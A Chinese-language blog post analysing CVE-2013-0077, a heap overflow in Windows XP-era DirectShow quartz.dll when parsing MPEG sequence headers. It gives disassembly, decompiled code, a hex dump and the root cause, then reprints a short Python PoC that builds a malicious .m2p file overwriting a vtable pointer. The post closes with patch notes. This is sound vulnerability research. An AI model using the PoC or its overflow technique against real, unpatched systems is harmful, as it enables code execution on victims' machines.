CVE-2013-0077 漏洞研究

7erry

2012 年 10 月 15 日 exploit-db 漏洞公布站点上发布了 QQPlayer 3.7.892 m2p quartz.dll Heap Pointer Overwrite PoC,后被人提交至乌云和 CNCERT。但经过腾讯安全应急响应团队(《漏洞战争》笔者)的分析,确认该漏洞与 QQ 影音无关,而是微软 DirectShow quartz.dll 在解析 M2P 文件时存在堆溢出漏洞,随后腾讯安全团队及时报与微软应急响应中心(MSRC),微软回复确认漏洞存在并于 2013 年 2 月 12 日发布补丁修复

有一说一,这个漏洞我查了一圈也没太多提及的资料而且也就主要影响 Windows XP,《漏洞战争》作者把这个洞列为堆溢出漏洞经典漏洞疑似夹带私货

影响范围:

Microsoft Windows XP SP2
Microsoft Windows XP SP3
Windows Server 2003 SP2
Windows Vista SP2

漏洞分析

调试运行 QQ 影音并打开样本后触发 Access Violation 异常,开启 HTC 后重新加载执行发现程序发生了堆溢出,同时发现该指令位于 quartz.dll 内,使用 IDA 打开它并下载符号表后根据偏移量可定位到 ParseSequenceHeader 函数,其反汇编结果如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
.text:7D0706CC
.text:7D0706CC ; =============== S U B R O U T I N E =======================================
.text:7D0706CC
.text:7D0706CC ; Attributes: bp-based frame
.text:7D0706CC
.text:7D0706CC ; int __stdcall ParseSequenceHeader(const unsigned __int8 *, int, struct SEQHDR_INFO *)
.text:7D0706CC ?ParseSequenceHeader@@YGHPBEJPAUSEQHDR_INFO@@@Z proc near
.text:7D0706CC ; CODE XREF: CMpegVideoCodec::CheckInputType(CMediaType const *)+77↑p
.text:7D0706CC ; CVideoParse::ParseSequenceHeader(void)+1F↓p
.text:7D0706CC ; CNativeVideoParse::ParseBytes(__int64,uchar *,long,ulong)+106↓p
.text:7D0706CC
.text:7D0706CC arg_0= dword ptr 8
.text:7D0706CC arg_4= dword ptr 0Ch
.text:7D0706CC arg_8= dword ptr 10h
.text:7D0706CC
.text:7D0706CC 8B FF mov edi, edi
.text:7D0706CE 55 push ebp
.text:7D0706CF 8B EC mov ebp, esp
.text:7D0706D1 56 push esi
.text:7D0706D2 8B 75 08 mov esi, [ebp+arg_0]
.text:7D0706D5 F6 46 0A 20 test byte ptr [esi+0Ah], 20h
.text:7D0706D9 75 07 jnz short loc_7D0706E2
.text:7D0706D9
.text:7D0706DB 33 C0 xor eax, eax
.text:7D0706DD E9 0F 01 00 00 jmp loc_7D0707F1
.text:7D0706DD
.text:7D0706E2 ; ---------------------------------------------------------------------------
.text:7D0706E2
.text:7D0706E2 loc_7D0706E2: ; CODE XREF: ParseSequenceHeader(uchar const *,long,SEQHDR_INFO *)+D↑j
.text:7D0706E2 0F B6 46 04 movzx eax, byte ptr [esi+4]
.text:7D0706E6 0F B6 4E 05 movzx ecx, byte ptr [esi+5]
.text:7D0706EA C1 E0 08 shl eax, 8
.text:7D0706ED 03 C1 add eax, ecx
.text:7D0706EF 0F B6 4E 06 movzx ecx, byte ptr [esi+6]
.text:7D0706F3 C1 E0 08 shl eax, 8
.text:7D0706F6 03 C1 add eax, ecx
.text:7D0706F8 8B C8 mov ecx, eax
.text:7D0706FA C1 E9 0C shr ecx, 0Ch
.text:7D0706FD 25 FF 0F 00 00 and eax, 0FFFh
.text:7D070702 57 push edi
.text:7D070703 8B 7D 10 mov edi, [ebp+arg_8]
.text:7D070706 89 0F mov [edi], ecx
.text:7D070708 89 47 04 mov [edi+4], eax
.text:7D07070B 8A 46 07 mov al, [esi+7]
.text:7D07070E 8A C8 mov cl, al
.text:7D070710 80 E1 0F and cl, 0Fh
.text:7D070713 80 F9 08 cmp cl, 8
.text:7D070716 76 02 jbe short loc_7D07071A
.text:7D070716
.text:7D070718 24 F7 and al, 0F7h
.text:7D070718
.text:7D07071A
.text:7D07071A loc_7D07071A: ; CODE XREF: ParseSequenceHeader(uchar const *,long,SEQHDR_INFO *)+4A↑j
.text:7D07071A A8 F0 test al, 0F0h
.text:7D07071C 0F 84 CC 00 00 00 jz loc_7D0707EE
.text:7D07071C
.text:7D070722 A8 0F test al, 0Fh
.text:7D070724 0F 84 C4 00 00 00 jz loc_7D0707EE
.text:7D070724
.text:7D07072A 53 push ebx
.text:7D07072B 0F B6 D8 movzx ebx, al
.text:7D07072E 8B CB mov ecx, ebx
.text:7D070730 83 E1 0F and ecx, 0Fh
.text:7D070733 C1 E1 02 shl ecx, 2
.text:7D070736 8B 81 F8 07 07 7D mov eax, ds:dword_7D0707F8[ecx]
.text:7D07073C 99 cdq
.text:7D07073D 68 E8 03 00 00 push 3E8h ; nDenominator
.text:7D070742 89 47 10 mov [edi+10h], eax
.text:7D070745 89 57 14 mov [edi+14h], edx
.text:7D070748 8B 81 38 08 07 7D mov eax, ds:dword_7D070838[ecx]
.text:7D07074E 6A 09 push 9 ; nNumerator
.text:7D070750 FF 77 10 push dword ptr [edi+10h] ; nNumber
.text:7D070753 89 47 18 mov [edi+18h], eax
.text:7D070756 FF 15 9C 12 F7 7C call ds:__imp__MulDiv@12 ; MulDiv(x,x,x)
.text:7D070756
.text:7D07075C 89 47 1C mov [edi+1Ch], eax
.text:7D07075F 0F B6 46 08 movzx eax, byte ptr [esi+8]
.text:7D070763 0F B6 4E 09 movzx ecx, byte ptr [esi+9]
.text:7D070767 C1 E0 08 shl eax, 8
.text:7D07076A 03 C1 add eax, ecx
.text:7D07076C 0F B6 4E 0A movzx ecx, byte ptr [esi+0Ah]
.text:7D070770 C1 E0 08 shl eax, 8
.text:7D070773 03 C1 add eax, ecx
.text:7D070775 C1 E8 06 shr eax, 6
.text:7D070778 3D FF FF 03 00 cmp eax, 3FFFFh
.text:7D07077D 89 47 20 mov [edi+20h], eax
.text:7D070780 75 06 jnz short loc_7D070788
.text:7D070780
.text:7D070782 83 67 20 00 and dword ptr [edi+20h], 0
.text:7D070786 EB 09 jmp short loc_7D070791
.text:7D070786
.text:7D070788 ; ---------------------------------------------------------------------------
.text:7D070788
.text:7D070788 loc_7D070788: ; CODE XREF: ParseSequenceHeader(uchar const *,long,SEQHDR_INFO *)+B4↑j
.text:7D070788 69 C0 90 01 00 00 imul eax, 190h
.text:7D07078E 89 47 20 mov [edi+20h], eax
.text:7D07078E
.text:7D070791
.text:7D070791 loc_7D070791: ; CODE XREF: ParseSequenceHeader(uchar const *,long,SEQHDR_INFO *)+BA↑j
.text:7D070791 C7 47 28 D0 07 00 00 mov dword ptr [edi+28h], 7D0h
.text:7D070798 C1 EB 04 shr ebx, 4
.text:7D07079B 8B 04 9D 60 08 07 7D mov eax, ds:dword_7D070860[ebx*4]
.text:7D0707A2 89 47 24 mov [edi+24h], eax
.text:7D0707A5 0F B6 4E 0B movzx ecx, byte ptr [esi+0Bh]
.text:7D0707A9 33 C0 xor eax, eax
.text:7D0707AB 8A 46 0A mov al, [esi+0Ah]
.text:7D0707AE C1 E9 03 shr ecx, 3
.text:7D0707B1 5B pop ebx
.text:7D0707B2 83 E0 1F and eax, 1Fh
.text:7D0707B5 C1 E0 05 shl eax, 5
.text:7D0707B8 0B C1 or eax, ecx
.text:7D0707BA C1 E0 0B shl eax, 0Bh
.text:7D0707BD 89 47 08 mov [edi+8], eax
.text:7D0707C0 F6 46 0B 04 test byte ptr [esi+0Bh], 4
.text:7D0707C4 74 0C jz short loc_7D0707D2
.text:7D0707C4
.text:7D0707C6 B9 00 A0 00 00 mov ecx, 0A000h
.text:7D0707CB 3B C1 cmp eax, ecx
.text:7D0707CD 7E 03 jle short loc_7D0707D2
.text:7D0707CD
.text:7D0707CF 89 4F 08 mov [edi+8], ecx
.text:7D0707CF
.text:7D0707D2
.text:7D0707D2 loc_7D0707D2: ; CODE XREF: ParseSequenceHeader(uchar const *,long,SEQHDR_INFO *)+F8↑j
.text:7D0707D2 ; ParseSequenceHeader(uchar const *,long,SEQHDR_INFO *)+101↑j
.text:7D0707D2 8B 4D 0C mov ecx, [ebp+arg_4]
.text:7D0707D5 89 4F 30 mov [edi+30h], ecx
.text:7D0707D8 8B C1 mov eax, ecx
.text:7D0707DA C1 E9 02 shr ecx, 2
.text:7D0707DD 83 C7 34 add edi, 34h ; '4'
.text:7D0707E0 F3 A5 rep movsd
.text:7D0707E2 8B C8 mov ecx, eax
.text:7D0707E4 83 E1 03 and ecx, 3
.text:7D0707E7 33 C0 xor eax, eax
.text:7D0707E9 F3 A4 rep movsb
.text:7D0707EB 40 inc eax
.text:7D0707EC EB 02 jmp short loc_7D0707F0
.text:7D0707EC
.text:7D0707EE ; ---------------------------------------------------------------------------
.text:7D0707EE
.text:7D0707EE loc_7D0707EE: ; CODE XREF: ParseSequenceHeader(uchar const *,long,SEQHDR_INFO *)+50↑j
.text:7D0707EE ; ParseSequenceHeader(uchar const *,long,SEQHDR_INFO *)+58↑j
.text:7D0707EE 33 C0 xor eax, eax
.text:7D0707EE
.text:7D0707F0
.text:7D0707F0 loc_7D0707F0: ; CODE XREF: ParseSequenceHeader(uchar const *,long,SEQHDR_INFO *)+120↑j
.text:7D0707F0 5F pop edi
.text:7D0707F0
.text:7D0707F1
.text:7D0707F1 loc_7D0707F1: ; CODE XREF: ParseSequenceHeader(uchar const *,long,SEQHDR_INFO *)+11↑j
.text:7D0707F1 5E pop esi
.text:7D0707F2 5D pop ebp
.text:7D0707F3 C2 0C 00 retn 0Ch
.text:7D0707F3
.text:7D0707F3 ?ParseSequenceHeader@@YGHPBEJPAUSEQHDR_INFO@@@Z endp
.text:7D0707F3
.text:7D0707F3 ; ---------------------------------------------------------------------------

反编译得到

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
int __stdcall ParseSequenceHeader(const unsigned __int8 *a1, int a2, struct SEQHDR_INFO *a3)
{
int v4; // eax
unsigned __int8 v5; // al
unsigned int v6; // ebx
int v7; // ecx
unsigned int v8; // eax
int v9; // eax
int v10; // [esp-14h] [ebp-18h]

if ( (a1[10] & 0x20) == 0 )
return 0;
v4 = (a1[6] + ((a1[5] + (a1[4] << 8)) << 8)) & 0xFFF;
*(_DWORD *)a3 = (unsigned int)(a1[6] + ((a1[5] + (a1[4] << 8)) << 8)) >> 12;
*((_DWORD *)a3 + 1) = v4;
v5 = a1[7];
if ( (v5 & 0xFu) > 8 )
v5 &= ~8u;
if ( (v5 & 0xF0) == 0 || (v5 & 0xF) == 0 )
return 0;
v6 = v5;
v7 = v5 & 0xF;
*((_QWORD *)a3 + 2) = dword_7D0707F8[v7];
v10 = *((_DWORD *)a3 + 4);
*((_DWORD *)a3 + 6) = dword_7D070838[v7];
*((_DWORD *)a3 + 7) = MulDiv(v10, 9, 1000);
v8 = (unsigned int)(a1[10] + ((a1[9] + (a1[8] << 8)) << 8)) >> 6;
*((_DWORD *)a3 + 8) = v8;
if ( v8 == 0x3FFFF )
*((_DWORD *)a3 + 8) = 0;
else
*((_DWORD *)a3 + 8) = 400 * v8;
*((_DWORD *)a3 + 10) = 2000;
*((_DWORD *)a3 + 9) = dword_7D070860[v6 >> 4];
v9 = ((a1[11] >> 3) | (32 * (a1[10] & 0x1F))) << 11;
*((_DWORD *)a3 + 2) = v9;
if ( (a1[11] & 4) != 0 && v9 > 40960 )
*((_DWORD *)a3 + 2) = 40960;
*((_DWORD *)a3 + 12) = a2;
qmemcpy((char *)a3 + 52, a1, a2); //! Crash Point
return 1;
}

栈回溯得出函数调用关系为 quartz!CBasePin::ReceiveConnection -> quartz!CTransformInputPin::CheckMediaType -> quartz!CMpegVideoCodec::CheckInputType -> quartz!ParseSequenceHeader,而 ParseSequenceHeader 函数在主调函数中被调用时实参为

1
2
3
4
5
ParseSequenceHeader(
(const unsigned __int8 *)(v4 + 96),
*(_DWORD *)(v4 + 92),
(CMpegVideoCodec *)((char *)this + 640)
)

结合函数签名与实参的数据类型能够推测出发生异常时程序正在向堆块中复制样本 .m2p 文件中的数据,事实上在调试器中查看 qmemcpy 时的 esi 指向的数据时也能印证了这点(全是 ‘A’)。参考 MPEG 码流结构,一个 Sequence Header 的全部数据就是从起始标记 \x00\x00\x01\xb3 到结束标记 \x00\x00\x01\x00 之间的数据(不包括 \x00\x00\x01\x00 本身),样本中这部分数据为

1
2
3
4
5
6
7
8
9
10
11
12
13
003230b0 41 41 41 41 41 41 41 41 41 00 00 01 b3 41 41 41
003230c0 41 41 41 ba 41 41 41 41 41 41 41 41 41 41 41 41
003230d0 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41
003230e0 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41
003230f0 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41
00323100 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41
00323110 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41
00323120 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41
00323130 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41
00323140 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41
00323150 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41
00323160 41 41 41 41 41 41 41 41 41 41 41 41 42 42 42 42
00323170 41 41 41 41 41 41 41 41 41 41 41 41 00 00 01 00

共 195 字节,而 qmemcpy 的目标地址到堆块尾部只有 157 字节的空间,因此发生了堆溢出

qmemcpy 目标地址到堆块尾部空间的测量方法有很多,由于 qmemcpy 的数据内容是已知的,在触发 Access Violation 异常时查看此时的 edi 前的 195 字节数据然后数起始标记 \x00\x00\x01\xb3 到 edi 的偏移量即可。当然更通用的做法应该是 qmemcpy 前下一个断点看 edi,触发 Access Violation 异常时查看 edi,然后计算二者的偏移量

漏洞利用

用来生成 PoC 的 exploit 已经实现了漏洞利用,即通过堆溢出覆盖虚表指针进而控制程序执行流

Exploit 分析

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
l = 3315716 * "A"
s1 = (
(0,'\x00\x00\x01\xba'),
(2048, '\x00\x00\x01\xba'),
(3289120, '\x00\x00\x01\xe0\x07'),
(3289273, '\x00\x00\x01\xb3'), # 开始标志
(3289283, '\xba'),
(3289452, '\x42\x42\x42\x42'),
(3289468, '\x00\x00\x01\x00'),
(3290359, '\x00\x00\x01\x00'),
(3301408, '\x00\x00\x01\xe0\x07'),
(3303112, '\x00\x00\x01\x00') # 结束标志
)
# EAX overwrite(3289452, '\x42\x42\x42\x42') call eax+0x24

o = open("c:\\poc.m2p","wb")
o.write(l)

for i in range(len(s1)):
o.seek(s1[i][0], 0)
o.write(s1[i][1])

o.close()

Exploit 的功能就是简单粗暴而有效的生成恶意 .m2p 文件,在此不再赘述

漏洞修复

Win 7 上的 quartz.dll (6.6.7600.16905) 不存在此漏洞,它将对数据的拷贝限制为 0x8C 以防止堆溢出,这也是 poc.m2p 只在 XP 崩溃而在 Win 7 不崩溃的原因

Reference

NVD - CVE-2013-0077
CVE - CVE-2013-0077
Microsoft 安全公告 MS13-011 - 严重
漏洞战争
关于MS13-011 - 博客 - 腾讯安全应急响应中心

  • Title: CVE-2013-0077 漏洞研究
  • Author: 7erry
  • Created at : 2024-09-18 18:34:13
  • Updated at : 2024-09-18 18:34:13
  • Link: http://7erry.com/2024/09/18/CVE-2013-0077-漏洞研究/
  • License: This work is licensed under CC BY-NC 4.0.